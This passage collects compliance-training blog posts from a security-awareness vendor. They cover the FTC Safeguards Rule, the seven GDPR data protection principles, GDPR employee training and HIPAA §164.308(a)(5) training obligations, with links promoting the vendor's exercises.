2024 maximum is $51,744 per violation, with exact current figures published in the Federal Register. FTC enforcement typically produces consent orders that require up to twenty years of third-party assessments, extensive remediation, and specific training improvements. The reputational cost of being named in an FTC consent order usually dwarfs the civil penalty itself. States including New York (through NYDFS Part 500), California, and Massachusetts enforce parallel cybersecurity rules. Organizations that fall short of the Safeguards Rule often trip state requirements at the same time, with class-action exposure under state privacy laws as separate risk. ## Qualified Individual role and training Section §314.4(a) requires covered institutions to designate a single Qualified Individual responsible for overseeing, implementing, and enforcing the information security program. The person can be an employee, an affiliate, or a service provider. Under §314.4(i), the Qualified Individual has to provide written reports to the board or equivalent governing body at least annually. Those reports must cover the program's overall status, the risk assessment results, the safeguards in place, service provider arrangements, test results, security events, and recommendations for program changes. Training for the Qualified Individual sits inside §314.4(e)'s second track: specialized, continuous, role-specific content updated as the threat landscape changes. Smaller institutions sometimes outsource the role to a virtual CISO or managed security provider, but the institution retains responsibility for the program and the outsourced individual still has to satisfy the training and reporting obligations. ## Customer information access and authentication training Several §314.4(c) safeguards translate directly into trainable behaviors. The ones that show up most often in FTC consent orders involve access control and authentication. **Multi-factor authentication.** §314.4(c)(5) requires MFA for any individual accessing any information system unless the Qualified Individual has approved a reasonably equivalent control in writing. Training must cover MFA enrollment, recovery, and phishing resistance. An [MFA setup exercise](/exercises/mfa-setup-best-practices/) covers the practical mechanics, and a [phishing awareness module](/blog/phishing-simulation-training/) covers the MFA-fatigue and MFA-bypass attacks that have become common. **Least privilege.** §314.4(c)(1) requires access controls based on the principle that users should only access the information they need. Training has to reinforce this at the application level, which is where a [least privilege awareness module](/exercises/least-privilege-awareness/) fits. **Encryption.** §314.4(c)(3) requires encryption of customer information at rest and in transit. Training should cover practical moments where encryption decisions live with the employee, such as secure email, [encryption of portable devices](/exercises/encryption-and-lock-discipline/), and removable media. **Secure disposal.** §314.4(c)(6) requires secure disposal of customer information no later than two years after the last interaction with the customer, subject to exceptions. Training should cover what disposal means for paper, digital, and backup copies. ## FTC Safeguards vs GLBA original - the 2023 shift The 2003 original Safeguards Rule and the 2021 amended Safeguards Rule are the same regulation at different points in time. The 2021 amendments sharpened what had been a flexible standard. | Area | Original (2003) | Amended (2021, enforceable 2023) | |------|-----------------|----------------------------------| | Risk assessment | Required, format flexible | Required, written, annually revisited | | Access controls | Reasonable | Explicitly include MFA | | Encryption | Reasonable | Required at rest and in transit with limited exceptions | | Training | Required | Explicit separate tracks for general and qualified personnel | | Change management | Not specified | Required | | Monitoring and testing | Reasonable | Continuous monitoring or annual pen test plus biannual vulnerability assessment | | Incident response plan | Not required | Written plan required | | Governance reporting | Not required | Annual written report to board | | Service provider oversight | Required | Required with periodic reassessment | | Notification of security events | Not required | Required for events affecting 500+ consumers (effective May 2024) | The direction of travel matches the NYDFS Part 500 rule and the 2024 SEC Regulation S-P amendments. Covered institutions that satisfy one often satisfy the others with modest additions. ## How to build a compliant training program The program that tends to satisfy examiners and survive consent-order-style scrutiny shares a few structural features. **Step 1: Inventory personnel and roles.** Map every role that handles customer information against the §314.4(e) training obligation. Include contractors and temp staff. This inventory becomes the denominator for coverage reporting. **Step 2: Build two tracks.** General security awareness training for all personnel handling customer information. Specialized, ongoing training for the Qualified Individual and information security staff. Do not collapse the two. **Step 3: Map content to the nine elements.** Training modules should trace to §314.4(c) safeguards, §314.4(f) vendor management, §314.4(h) incident response, and §314.4(i) governance. An exercise in isolation is less defensible than an exercise mapped to a specific subsection. **Step 4: Document everything.** Record completion, content version, assessment scores, and policy acknowledgments. §314.4(e) does not specify retention, but state laws and consent-order expectations often exceed seven years. **Step 5: Refresh at least annually, and after every incident.** The rule requires training "as necessary," which in practice means annual plus event-driven. After a significant incident, training has to address the gap that the incident revealed. **Step 6: Run incident-response drills.** §314.4(h) requires a written incident response plan. A plan that has never been rehearsed is harder to defend under examiner questioning. **Step 7: Vendor training oversight.** §314.4(f) requires service provider oversight. That oversight increasingly includes verifying that the vendor's own workforce has been trained. ## How RansomLeak covers FTC Safeguards training RansomLeak is built for scenario-based training that maps to the §314.4 safeguards rather than reciting regulation text at employees. The [security awareness catalogue](/catalogue/security-awareness/) covers phishing, vishing, smishing, credential hygiene, and tech-support scams that hit financial institutions daily. The [privacy and compliance catalogue](/catalogue/privacy-compliance/) covers data handling, incident response, and vendor oversight scenarios that speak to §314.4(f) and §314.4(h). Our [compliance mapping guide](/compliance/) links each §314.4 subsection to the specific courses and exercises that address it. That document makes it straightforward to respond when an examiner or consent-order monitor asks how your program covers element (e) or element (h). For a baseline workforce program, the [security awareness training guide](/blog/security-awareness-training-guide/) covers cadence, format, and measurement. ## Frequently asked questions ### Who enforces the FTC Safeguards Rule? The Federal Trade Commission enforces the Safeguards Rule for non-bank financial institutions under its jurisdiction. Banks, credit unions, and federally regulated broker-dealers are covered by their prudential regulators under parallel safeguards rules. Some state regulators, notably NYDFS, enforce overlapping state rules. ### When did the amended Safeguards Rule become enforceable? Most provisions became fully enforceable on June 9, 2023. The security event notification requirement at §314.5 became effective May 13, 2024. Earlier compliance deadlines were extended twice during the rulemaking. ### Does the Safeguards Rule apply to auto dealers? Yes. Auto dealers that extend credit or arrange financing are financial institutions under the FTC's definition. Dealers that operate on a pure cash basis without offering any form of credit may not be covered, but most modern dealerships trigger the rule. ### What training does the Safeguards Rule require? Section §314.4(e) requires security awareness training for all personnel and continuing specialized training for qualified information security personnel. The content must be updated as the threat landscape changes. Annual is a common baseline, but "as necessary" language implies more frequent updates when warranted. ### What are the penalties for non-compliance? The FTC enforces under Section 5 of the FTC Act. Civil penalties per violation adjust annually for inflation, with the 2024 maximum at $51,744 per violation. Consent orders typically impose twenty years of third-party assessments and specific remediation. State enforcement and class actions are additional exposure. ### Who is the Qualified Individual? A single individual designated under §314.4(a) to oversee, implement, and enforce the information security program. This person must report in writing to the board or equivalent governing body at least annually under §314.4(i). The role can be outsourced, but the institution retains responsibility. ### Does the Safeguards Rule require MFA? Yes. Section §314.4(c)(5) requires multi-factor authentication for any individual accessing any information system, subject to a narrow exception where the Qualified Individual has approved a reasonably equivalent or more secure control in writing. ### What is a security event under the new §314.5? A security event involving the notification rule is an unauthorized acquisition of unencrypted customer information involving at least 500 consumers. Covered institutions must notify the FTC as soon as possible, and no later than 30 days after discovery. The rule was finalized in 2023 and became effective May 13, 2024. ### How does the FTC Safeguards Rule differ from NYDFS Part 500? The rules share significant DNA. NYDFS Part 500 is more prescriptive on CISO governance, MFA scope, and cybersecurity event reporting to the superintendent. Institutions subject to both often satisfy the federal rule automatically if they already satisfy New York. The opposite direction usually requires additional work. ## Bottom line The FTC Safeguards Rule is no longer a quiet GLBA implementation. The 2021 amendments, enforceable from June 2023 onward, added specific training, MFA, encryption, monitoring, incident response, and governance obligations. Training at §314.4(e) has two tracks: general awareness for all personnel and specialized training for qualified information security personnel. Auto dealers, mortgage brokers, tax preparers, and other non-bank financial institutions that built informal compliance programs under the 2003 rule need to document and retrofit. Institutions that pass examiner scrutiny treat training as an element of an integrated §314.4 program rather than a standalone checkbox. If your financial institution is rethinking Safeguards Rule training, explore the [security awareness catalogue](/catalogue/security-awareness/), review the [compliance mapping guide](/compliance/), or [book a walkthrough](/contact-us/) with our team. ## Sources - [16 CFR Part 314 - Standards for Safeguarding Customer Information](https://www.ecfr.gov/current/title-16/chapter-I/subchapter-C/part-314) - [FTC: Standards for Safeguarding Customer Information Final Rule (86 FR 70272)](https://www.federalregister.gov/documents/2021/12/09/2021-25736/standards-for-safeguarding-customer-information) - [FTC: Safeguards Rule Compliance Guide](https://www.ftc.gov/business-guidance/resources/ftc-safeguards-rule-what-your-business-needs-know) - [FTC: Amendment to Safeguards Rule Security Event Notification](https://www.federalregister.gov/documents/2023/11/13/2023-24412/standards-for-safeguarding-customer-information) - [FTC Civil Penalty Inflation Adjustments](https://www.federalregister.gov/) --- ### The 7 GDPR Data Protection Principles in Practice Source: https://ransomleak.com/blog/gdpr-data-protection-principles/ Most teams can name GDPR. Far fewer can name the seven principles that decide whether their daily data handling is lawful. Those principles live in Article 5, and regulators treat them as the test every processing activity has to pass. The gap matters because the principles are where enforcement lands. Cumulative GDPR fines passed EUR 7.1 billion since May 2018, according to the [DLA Piper GDPR Fines and Data Breach Survey (January 2026)](https://www.dlapiper.com/en-us/news/2026/02/personal-data-breaches-in-europe-reach-443-per-day-in-dramatic-22-jump-dla-piper-analysis-reveals). Most of those penalties trace back to a broken principle: data kept too long, collected without need, or processed without a lawful basis. This guide walks through all seven principles, shows the habits that break each one, and points to interactive exercises your team can run to practice the right behavior. ## What are the GDPR data protection principles? The GDPR data protection principles are the seven rules in Article 5 that govern how organizations handle personal data. They are lawfulness, fairness and transparency, purpose limitation, data minimization, accuracy, storage limitation, integrity and confidentiality, and accountability. Every processing activity has to satisfy all seven at once. The first six describe how you must treat personal data. The seventh, accountability, puts the burden of proof on the organization: you have to be able to demonstrate compliance, not just assert it. These principles are not abstract. They map directly to decisions employees make every day, such as which form fields to add, how long to keep a spreadsheet, and whether to forward a customer record to a colleague who asked. A single careless habit can breach a principle even when no attacker is involved. ## What are the seven principles, and how do teams break them? Each principle has a clear intent and a common failure mode. The table below pairs the Article 5 wording with the workplace behavior that most often violates it. | Principle | What it requires | Common failure | |-----------|------------------|----------------| | Lawfulness, fairness, transparency | A valid legal basis, no hidden processing | Bundled consent, dark patterns | | Purpose limitation | Use data only for the stated reason | Repurposing marketing data for scoring | | Data minimization | Collect only what you need | Over-broad forms, "just in case" fields | | Accuracy | Keep data correct and current | Stale records, no correction process | | Storage limitation | Delete data when the purpose ends | Indefinite retention, no deletion routine | | Integrity and confidentiality | Protect data with appropriate security | Weak sessions, unpatched apps, oversharing | | Accountability | Prove compliance with records | No documentation, no breach playbook | The rest of this guide takes the principles in the order teams tend to struggle with them, starting with the two that draw the most enforcement attention. ### Lawfulness, fairness, and transparency This principle requires a lawful basis for every processing activity and honest communication about what you do with personal data. Consent, when you rely on it, has to be freely given, specific, informed, and unambiguous under Article 7. The most frequent violation is the consent dark pattern: a pre-ticked box, a single switch that bundles ten unrelated permissions, or a cookie banner where "reject" is three clicks deeper than "accept." Our [consent dark patterns and bundled permissions exercise](/exercises/privacy-consent-bundling/) walks teams through what valid consent looks like and where common designs cross the line. Transparency fails quietly. When a privacy policy hides the real data flows behind vague language, the principle is breached even if the underlying processing is lawful. The [opaque privacy policies exercise](/exercises/privacy-non-transparent-policies/) shows how to spot and rewrite the hidden practices regulators flag. ### Purpose limitation Purpose limitation means you collect data for a specified, explicit purpose and do not later use it for something incompatible. The classic breach is repurposing: support data collected to resolve tickets gets fed into a marketing model, or HR data collected for payroll ends up in a productivity score. The fix is procedural rather than technical. Before any new use of existing data, someone has to ask whether the original purpose covered it. When it does not, you need a fresh lawful basis or a new collection point. ## What is data minimization under GDPR? Data minimization is the principle that you collect and retain only the personal data you actually need for a specific purpose, and nothing more. It is one of the most cited principles in enforcement actions because over-collection is so easy to prove after the fact. The instinct to grab extra fields "just in case" is where most teams slip. A signup form that asks for a date of birth, a phone number, and a home address when the service only needs an email is collecting data it cannot justify. Every extra field is a liability that has to be secured, kept accurate, and eventually deleted. Minimization also reduces breach impact. Data you never collected cannot leak. The [excessive personal data collection exercise](/exercises/privacy-excessive-collection/) trains product and operations teams to challenge each field on a form and design collection down to the minimum the purpose requires. For teams that handle structured records, minimization pairs with classification. Knowing what each field is and why you hold it is the foundation of our [data classification training](/blog/data-classification-training/), which sorts data by sensitivity before you decide how to handle it. ## What is privacy by design and by default? Privacy by design and by default is the Article 25 requirement to build data protection into systems from the start, rather than bolting it on later. By default, the most privacy-protective settings have to be the ones that apply without the user changing anything. In practice this means three things. Collection defaults to the minimum, retention defaults to the shortest period that serves the purpose, and access defaults to the fewest people who need it. A system that ships with everything shared and nothing expiring fails the default test even if a user could tighten it manually. Two principles do most of the work behind privacy by design: storage limitation and security. Storage limitation requires you to delete personal data once its purpose ends. Indefinite retention is one of the most common findings in audits, because deletion is rarely anyone's job. The [personal data deletion failures exercise](/exercises/privacy-insufficient-deletion/) shows why "we'll clean it up later" becomes a permanent liability and how to build retention into the system. Accuracy is the quieter sibling. Personal data has to be correct and kept up to date, with a process to fix errors when a person flags them. The [outdated and inaccurate personal data exercise](/exercises/privacy-data-quality/) covers how stale records cause real harm, from wrong credit decisions to misdirected medical information. ## How does the security principle show up in daily work? Integrity and confidentiality, often called the security principle, requires appropriate technical and organizational measures to protect personal data. Article 32 spells out the expectation, and it covers everyday engineering and handling choices, not just the firewall. Sessions that never expire are a textbook failure. A shared workstation with a logged-in session is an open door, and the [session hijacking through missing expiration exercise](/exercises/privacy-session-expiration/) shows how attackers walk through it. Unpatched application flaws are another, which our [privacy breach through application vulnerabilities exercise](/exercises/privacy-app-vulnerabilities/) demonstrates end to end. Confidentiality also breaks from the inside. Forwarding a customer list to the wrong colleague, or to a personal account, is internal data leakage even with no malicious intent. The [internal data leakage exercise](/exercises/privacy-data-leakage/) trains staff to recognize when sharing crosses a line, alongside the broader habits in our [GDPR employee training guide](/blog/gdpr-employee-training/). ## How do data subject rights connect to the principles? Data subject rights are the practical expression of transparency and fairness. People can ask what you hold about them, request corrections, and demand deletion, and you have to respond within the statutory window of one month for most requests. A data subject access request that gets ignored or quietly blocked is both a rights failure and a transparency failure. The [blocked data subject access requests exercise](/exercises/privacy-data-access-rights/) shows how an access request should flow through an organization and where teams accidentally obstruct it. Rights and accountability meet at the breach. When personal data is exposed, Article 33 gives you 72 hours to notify the supervisory authority, and serious breaches require notifying affected individuals too. The [handling a personal data breach exercise](/exercises/privacy-breach-response/) rehearses that clock so the first 72 hours are practiced, not improvised. ## How do you train employees on the GDPR principles? The principles fail at the point of habit, so training has to reach the habit. Annual slide decks rarely change what someone does with a form field or a customer export under deadline pressure. Effective programs do three things. They map each principle to the concrete decisions a given role makes, they use short scenario-based practice instead of passive video, and they document completion so the accountability principle is satisfied with evidence. Scenario practice is the part most programs skip. Reading that data minimization matters does not build the reflex to question a form field, but walking through a realistic case does. The full set of privacy scenarios lives in the [privacy and compliance catalogue](/catalogue/privacy-compliance/), and the regulatory backbone is laid out in our [GDPR training framework guide](/compliance/gdpr/). For teams building a wider program, the principles slot into the broader structure described in our [compliance training overview](/blog/compliance-training/), which covers how privacy fits alongside other frameworks. ## Frequently asked questions ### What are the 7 principles of GDPR? The seven principles in Article 5 are lawfulness, fairness and transparency; purpose limitation; data minimization; accuracy; storage limitation; integrity and confidentiality; and accountability. The first six describe how personal data must be handled. The seventh, accountability, requires the organization to demonstrate compliance with the other six through records and documentation. ### What is the difference between data minimization and storage limitation? Data minimization governs how much data you collect: only what a specific purpose requires. Storage limitation governs how long you keep it: delete personal data once that purpose ends. A form that asks for too many fields breaks minimization. A database that never deletes old records breaks storage limitation. ### Is privacy by design a legal requirement under GDPR? Yes. Article 25 makes data protection by design and by default a legal obligation, not a best practice. Organizations must build privacy controls into systems from the outset and ensure that the most protective settings apply by default, without the user having to change anything. ### What happens if you breach the GDPR principles? Penalties depend on which provision is breached. Violations of the basic principles in Article 5 fall under the higher tier, with fines up to EUR 20 million or 4% of global annual turnover, whichever is greater. Lower-tier violations carry fines up to EUR 10 million or 2% of turnover. Regulators can also order processing to stop. ### How does accountability differ from the other principles? The first six principles tell you how to handle data. Accountability tells you to prove you did. It requires records of processing, documented lawful bases, retention schedules, and evidence of staff training. In an audit, "we comply" is not enough; you have to show the documentation that demonstrates it. ### How often should GDPR principle training happen? Most supervisory guidance reads "regular" as at least annual, with event-driven top-ups after a breach, a process change, or a new system that handles personal data. Short, role-specific refreshers every few months retain better than one long annual session and produce the completion records the accountability principle expects. ## Bottom line GDPR enforcement does not punish ignorance of the law. It punishes broken principles, and the breaks usually start with an ordinary habit: a form with too many fields, a record no one deleted, a session left open on a shared machine. Cumulative fines above EUR 7.1 billion and an average breach cost of USD 4.44 million (IBM Cost of a Data Breach Report 2025) make the math hard to ignore. Training that maps each principle to the daily decision behind it is the cheapest control you have. If you want to see how scenario-based practice turns Article 5 into behavior, explore the [privacy and compliance catalogue](/catalogue/privacy-compliance/) or [book a walkthrough](/contact-us/) with our team. ## Sources - [Regulation (EU) 2016/679 (GDPR), Article 5 - Official Journal](https://eur-lex.europa.eu/eli/reg/2016/679/oj) - [GDPR Article 25: Data protection by design and by default](https://gdpr-info.eu/art-25-gdpr/) - [DLA Piper GDPR Fines and Data Breach Survey (January 2026)](https://www.dlapiper.com/en-us/news/2026/02/personal-data-breaches-in-europe-reach-443-per-day-in-dramatic-22-jump-dla-piper-analysis-reveals) - [IBM Cost of a Data Breach Report 2025](https://www.ibm.com/reports/data-breach) --- ### GDPR Training for Employees Source: https://ransomleak.com/blog/gdpr-employee-training/ A marketing manager adds a customer's email to a campaign list without checking consent records. A support agent shares a user's account details with someone claiming to be their spouse. A developer copies production data containing real names and addresses into a staging environment. None of these people intended to violate the GDPR. All of them did. The General Data Protection Regulation has been enforceable since May 2018. Eight years in, fines keep climbing. The Irish Data Protection Commission fined Meta EUR 1.2 billion in 2023 for illegal data transfers to the US. The Italian Garante fined OpenAI EUR 15 million in late 2024 for ChatGPT's privacy violations. These headlines grab attention, but the pattern behind them is consistent: organizations that treated GDPR as a legal department problem instead of a company-wide responsibility. Your lawyers can't prevent the marketing manager from misusing consent data. Your DPO can't watch every developer's staging environment. The only thing that scales is training, and most GDPR training programs are doing it wrong. ## What is GDPR employee training? GDPR employee training is structured education that teaches staff how to handle personal data in compliance with the European Union's General Data Protection Regulation. Unlike generic [compliance training](/blog/compliance-training/) that covers regulatory requirements at a high level, effective GDPR training focuses on the specific decisions employees make daily: when to collect data, how to store it, who can access it, and when to delete it. According to the UK Information Commissioner's Office, human error accounted for 26% of reported data breaches in 2024. A DLA Piper survey found that organizations with active GDPR training programs experienced 40% fewer reportable breaches than those relying on documentation alone. The regulation itself mandates training under Articles 39 and 47, making it both a legal requirement and a practical necessity. Staff who understand data protection principles make fewer mistakes, respond to incidents faster, and reduce the organization's exposure to fines that can reach EUR 20 million or 4% of global annual turnover. For the Article 39 and Article 32 framework breakdown end-to-end, see our [GDPR employee training framework guide](/compliance/gdpr/). This post focuses on why typical annual programs fall short and what to do instead. ## Why do most GDPR training programs fail? The typical approach: buy an e-learning module, assign it annually, track completion rates, file the certificates. Auditors are satisfied. Employees are bored. Nothing actually changes. These programs fail for three reasons. First, they teach the regulation instead of the job. Employees sit through slides about Article 5 principles and Article 6 legal bases without connecting those concepts to their daily work. A customer support agent doesn't need to recite the six lawful bases for processing. They need to know what to do when a customer says "delete all my data" during a live chat. Second, annual frequency isn't enough. GDPR interpretation evolves through enforcement actions and court decisions. The Schrems II ruling in 2020 invalidated the EU-US Privacy Shield overnight. The EU-US Data Privacy Framework replaced it in 2023. Organizations that trained annually on transfer mechanisms were teaching outdated information for months. Third, passive learning doesn't build skills. Reading about breach notification timelines doesn't prepare someone for the pressure of an actual incident. The 72-hour reporting window under Article 33 creates real urgency. An employee's first encounter with that pressure shouldn't be during a real breach. ## What do employees actually need to know? Strip away the legal language and GDPR training comes down to five practical questions every employee should be able to answer. **"Can I collect this data?"** Employees need to understand purpose limitation and data minimization without knowing those terms. The practical version: collect only what you need for a specific, documented purpose. If you can't explain why you need someone's date of birth, you probably don't need it. **"Am I allowed to share this?"** Most unauthorized disclosures happen internally. HR shares an employee's medical information with their manager "so they understand the situation." Sales shares a prospect's contact details with a partner company without checking the privacy notice. These feel helpful in the moment. Under the GDPR, they're violations. **"How long can I keep this?"** Data retention is where good intentions create liability. Departments hoard data because "we might need it later." Customer databases grow without cleanup. Old employee records sit in shared drives for years. The GDPR requires defined retention periods and actual deletion when those periods expire. **"What do I do if something goes wrong?"** Every employee needs to know the first step when they suspect a breach: report it immediately through the internal process. Not tomorrow. Not after lunch. Not after checking with a colleague whether it's really a breach. The 72-hour notification clock starts when the organization becomes aware, and an employee discovering the issue makes the organization aware. **"Someone asked about their data. Now what?"** Data Subject Access Requests (DSARs) arrive through every channel: email, phone, social media, in person. The employee who receives it might not know what a DSAR is. They need to know to escalate it to the right team within hours, not days. ## How should you train for breach response? The 72-hour breach notification window under Article 33 is where GDPR training gets tested hardest. When a breach happens, employees face decisions that determine whether the organization responds within the legal timeframe or misses it entirely. Training for breach response requires simulation. Not a quiz about notification timelines. An actual exercise where employees discover a potential breach and practice the response sequence. The scenario matters. A laptop stolen from a car is straightforward. A developer discovering that a database backup was accidentally exposed on a public cloud bucket is more complex. A support agent realizing they sent customer records to the wrong email address is the kind of everyday incident that employees freeze on. Our [Data Breach Response exercise](/exercises/gdpr-data-breach-response/) puts employees in the middle of a realistic incident and walks them through the assessment, escalation, and notification decisions. The [Security Incident Response exercise](/exercises/gdpr-security-incident-response/) covers the technical side for IT teams. Effective breach training drills three skills: 1. **Recognition:** Can the employee identify that something is a potential breach? Not all security incidents are breaches, but erring on the side of reporting protects the organization. 2. **Escalation speed:** Does the employee know exactly who to contact and through which channel? Every hour spent figuring out the reporting process is an hour lost from the 72-hour window. 3. **Preservation:** Does the employee know not to "fix" the problem by deleting evidence, closing access logs, or restarting systems before the incident response team investigates? ## What are DSARs and why do they trip up organizations? A Data Subject Access Request (DSAR) is a person's right under Article 15 to ask any organization what personal data it holds about them. Organizations have one month to respond. That sounds generous until you realize what's involved. The request might arrive at a reception desk, through a chatbot, via a social media DM, or buried in a customer complaint. The person doesn't need to use legal language or reference the GDPR. "Send me everything you have on me" is a valid DSAR. Once received, the organization needs to verify the requester's identity, search all systems where their data might exist (including email archives, backup systems, and paper files), review the results for third-party data that needs redaction, and deliver the response in a structured format. Within 30 days. The bottleneck is almost never the legal team's response time. It's the front-line employee who received the DSAR and didn't recognize it as one. Or forwarded it to the wrong department. Or promised the customer a response "within a few weeks" when the legal deadline is already ticking. Our [DSAR Processing exercise](/exercises/gdpr-legitimate-dsar-processing/) trains employees to recognize, route, and process these requests correctly. The [Fraudulent DSAR Detection exercise](/exercises/gdpr-fraudulent-dsar-detection/) covers the flip side: identifying requests designed to extract someone else's data through social engineering. ## How do you handle personal data in documents and systems? PII redaction is one of those tasks that sounds simple and isn't. Before responding to a DSAR, before sharing documents with third parties, before migrating data between systems, someone needs to identify and redact personal information. Names and email addresses are the obvious ones. But personal data under the GDPR includes IP addresses, device identifiers, location data, online identifiers, and any information that could identify someone directly or in combination with other data. A customer support transcript might contain a name in the greeting, an address mentioned mid-conversation, and an account number at the end. Missing any of those is a compliance failure. The [PII Document Redaction exercise](/exercises/gdpr-pii-document-redaction/) gives employees practice identifying personal data in realistic documents. It's the kind of task where confidence without competence creates risk. ## Why are cross-border data transfers still a problem? Eight years after the GDPR took effect, cross-border data transfers remain one of the most complex and frequently violated areas of the regulation. The rules have changed three times since 2018: the Privacy Shield invalidation (Schrems II, 2020), the adoption of new Standard Contractual Clauses (2021), and the EU-US Data Privacy Framework (2023). Every time an employee emails a colleague in a non-EU office, shares a file through a US-based cloud service, or grants access to a vendor in India, a cross-border data transfer potentially occurs. Most employees have no idea. The practical training question: does the employee understand that using certain tools for certain types of data might involve a data transfer, and do they know who to ask about it? They don't need to evaluate adequacy decisions. They need to know when to check. The [Cross-Border Data Transfers exercise](/exercises/gdpr-cross-border-data-transfers/) walks through realistic scenarios where routine business decisions trigger transfer requirements. ## What does effective GDPR training actually look like? Forget the annual e-learning module. Here's what works based on enforcement patterns and breach data. **Scenario-based, not article-based.** Train around situations, not regulation sections. "A customer wants their data deleted but they have an open support ticket" teaches more than a slide about Article 17. The [Privacy by Design Review exercise](/exercises/gdpr-privacy-by-design-review/) applies this approach to how teams build products. **Role-specific content.** A developer's GDPR risks differ from a marketer's. The developer needs to understand privacy by design, data minimization in database schemas, and the risks of using production data in testing. The marketer needs to understand consent management, legitimate interest, and what happens when someone unsubscribes. Our [Marketing Consent Management exercise](/exercises/gdpr-marketing-consent-management/) covers this last scenario in depth. **Monthly cadence.** Short, focused sessions beat annual marathons. Fifteen minutes on DSAR handling this month. Fifteen minutes on breach recognition next month. Fifteen minutes on consent management the month after. This matches how employees actually learn and how the regulatory landscape actually changes. **Measurement beyond completion.** Track whether employees can apply what they learned, not just whether they watched the video. Phishing simulations measure email security awareness. GDPR simulations should measure data protection awareness. Run a test DSAR and measure response time. Simulate a breach report and measure escalation speed. ## How do you measure GDPR training effectiveness? Completion rates tell you nothing about competence. An employee who clicked through a 45-minute module in 12 minutes didn't learn anything. Here's what to measure instead. **Incident response time:** How quickly do employees report suspected breaches after training versus before? If the average time from discovery to internal report drops from 8 hours to 1 hour, training is working. **DSAR recognition rate:** Of DSARs received through non-standard channels (phone calls, social media, informal emails), what percentage gets routed correctly within 24 hours? **Data minimization compliance:** Are teams collecting less unnecessary data after training? Audit new forms, database schemas, and data collection processes quarterly. **Near-miss reporting:** An increase in near-miss reports after training is a positive signal. It means employees are recognizing situations that could become breaches and acting before they do. If you're building a broader [security awareness program](/blog/security-awareness-training-guide/), GDPR training should integrate with, not replace, your existing security training framework. The skills overlap: breach recognition, incident reporting, and social engineering awareness apply to both security and privacy. Organizations with EU operations in essential or important sectors should also map their GDPR content against [NIS2 training](/blog/nis2-training/) requirements, since the two regimes share breach-reporting muscles and auditors increasingly expect a single awareness backbone that covers both. --- *Ready to move beyond checkbox compliance? Explore our [Privacy & Compliance training catalogue](/catalogue/privacy-compliance/) for hands-on GDPR exercises covering breach response, DSAR processing, consent management, and more. Start with the [Data Breach Response exercise](/exercises/gdpr-data-breach-response/) to see the difference interactive training makes.* ## Sources - [OWASP Foundation: GDPR and Privacy](https://owasp.org/www-project-top-10-privacy-risks/) - [UK ICO: Data Security Incident Trends 2024](https://ico.org.uk/action-weve-taken/data-security-incident-trends/) - [DLA Piper: GDPR Fines and Data Breach Survey 2025](https://www.dlapiper.com/en/insights/publications/2025/01/dla-piper-gdpr-fines-and-data-breach-survey-2025) - [European Data Protection Board: Guidelines on Data Breach Notification](https://www.edpb.europa.eu/our-work-tools/documents/public-consultations/2022/guidelines-92022-personal-data-breach_en) - [GDPR.eu: Article 33 - Notification of a personal data breach](https://gdpr.eu/article-33-notification-of-a-personal-data-breach/) --- ### HIPAA §164.308(a)(5) Training Guide Source: https://ransomleak.com/blog/hipaa-security-awareness-training/ HIPAA security awareness training is a mandatory Administrative Safeguard under the HIPAA Security Rule. Every covered entity and every business associate must run a training program for all members of its workforce, including management, and the documentation must survive OCR audits that can sample records going back six years. The rule itself is short. The expectations around it are not. Covered entities that treat HIPAA training as a fifteen-minute annual video tend to learn this the hard way, usually during a breach investigation or a Resolution Agreement that costs six or seven figures. For the §164.308(a)(5) framework breakdown end-to-end, see our [HIPAA security awareness training framework guide](/compliance/hipaa/). This post focuses on what OCR investigators actually sample during an audit. ## What HIPAA requires for security awareness training The HIPAA Security Rule at 45 CFR §164.308(a)(5) lists "Security Awareness and Training" as a standard under Administrative Safeguards. The rule text requires covered entities to "implement a security awareness and training program for all members of its workforce, including management." That eight-word standard is backed by four implementation specifications, all classified as "addressable" rather than "required." Addressable does not mean optional. It means the entity must implement the specification, or implement an equivalent alternative, or document why the specification is not reasonable and appropriate in the environment and document a reasonable alternative. In practice, OCR and most auditors expect all four specifications to be implemented in some form. Claiming a specification is not reasonable and appropriate is possible but rarely accepted at face value. The Privacy Rule at 45 CFR §164.530(b) adds a parallel training obligation for the privacy side: training on privacy policies and procedures for each workforce member, with new or changed policy training required within a reasonable time after the change. The Privacy Rule training is "required" rather than "addressable." Business associates are bound by the same Security Rule training obligation through §164.308 and through the Business Associate Agreement itself. ## The 4 HIPAA training pillars Under §164.308(a)(5), the four implementation specifications define what the training program must cover. Each maps to concrete, trainable modules. ### Security Reminders (§164.308(a)(5)(ii)(A)) "Periodic security updates." The pillar covers ongoing awareness communications, not single annual events. In practice this looks like monthly security updates on current threats, posters, phishing microlearning, and policy refreshers when something changes. ### Protection from Malicious Software (§164.308(a)(5)(ii)(B)) "Procedures for guarding against, detecting, and reporting malicious software." Staff must know how to avoid malware infection, how to recognize signs of infection, and how to report it. Ransomware training falls squarely in this pillar, as does [phishing awareness](/blog/phishing-simulation-training/) because phishing remains the primary malware delivery vector in healthcare. ### Log-in Monitoring (§164.308(a)(5)(ii)(C)) "Procedures for monitoring log-in attempts and reporting discrepancies." Workforce members must be trained to notice and report unusual account activity, including failed log-in attempts on their own accounts and anomalous behavior on shared accounts. ### Password Management (§164.308(a)(5)(ii)(D)) "Procedures for creating, changing, and safeguarding passwords." Modern password management training covers password manager use, MFA setup, credential reuse risks, and the specific password policy of the covered entity. An [MFA setup module](/exercises/mfa-setup-best-practices/) and a [password manager habits module](/exercises/password-manager-habits/) cover this pillar directly. Beyond these four pillars, OCR guidance and HHS resources consistently add topics that the Security Rule does not name explicitly: incident recognition, breach reporting timelines, minimum necessary standard, mobile device security, and workstation security under §164.310. ## HIPAA training for different roles Workforce is defined broadly in 45 CFR §160.103. It includes employees, volunteers, trainees, and any other persons whose conduct in the performance of work for the covered entity is under the direct control of the entity, whether or not paid. **Clinical staff** need the highest-frequency training because they access PHI constantly. Scenarios should cover handling patient questions, talking to family members, avoiding hallway conversations, secure messaging within EHR systems, and recognizing social engineering attempts that target nursing stations. **Administrative and back-office staff** handle PHI in billing, scheduling, records, and admissions. Their training needs to cover the minimum necessary standard, secure fax and mail handling, document redaction, and the right-to-request-access workflow. **IT and security personnel** need additional depth on access control, audit log review, malware incident response, and the technical safeguards under §164.312. They are often the first to notice security incidents that trigger Breach Notification Rule timelines. **Business Associates** must train their own workforce on the BAA obligations, on PHI handling, and on incident notification back to the covered entity. Many covered entities now require evidence of BA training as part of vendor due diligence. ## HIPAA penalties for inadequate training OCR penalty tiers are structured by culpability. The 2024 inflation-adjusted figures set the minimum and maximum per violation as follows, with per-category annual caps that apply to violations of an identical provision: | Tier | Culpability | Min per violation | Max per violation | Annual cap per 